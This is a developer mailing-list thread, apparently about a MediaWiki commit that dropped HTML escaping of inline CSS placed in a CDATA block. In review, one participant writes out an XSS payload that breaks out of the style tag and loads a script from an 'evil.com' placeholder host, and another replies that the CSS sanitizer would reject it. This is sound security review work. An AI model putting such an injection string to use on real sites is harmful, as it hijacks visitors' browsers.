Simetrical wrote:
On Wed, Jul 30, 2008 at 11:36 PM, nad@svn.wikimedia.org wrote:
Log Message:
I meant to say should *not* use htmlspecialchars, it makes invalid CSS syntax - bug reported on MW talk page ...
$css = htmlspecialchars(trim(Sanitizer::checkCss($css)));
$css = trim(Sanitizer::checkCss($css)); $parser->mOutput->addHeadItem( <<<EOT<style type="text/css"> /*<![CDATA[*/
I'm pretty sure this results in a rather straightforward XSS exploit. What if $css is something like:
]]></style><script type="text/javascript" src="http://evil.com/take_over_browser.js"></script><style type="text/css"><![CDATA[
You aren't escaping "]]>" anywhere.
The more correct solution, it seems to me, is to dispose of the CDATA section altogether. It's entirely unnecessary if the code is automatically generated and you can stick it through htmlspecialchars, especially if there's probably almost nothing to escape and the CDATA delimiters look uglier than the occasional rare < or whatnot. I've done this in r38307.
Sanitizer::checkCss should ensure that $css is valid CSS, and returns false (i.e. "it was just too evil", according to its docs) for your suggested string. The code should check for this case (i.e. for returning false), but it doesn't seem like an XSS exploit - it will probably just add an empty CSS block.
About the CDATA section, it seems that the XHTML standard recommends using it. It is also used in core, e.g. in the script of variables in each page.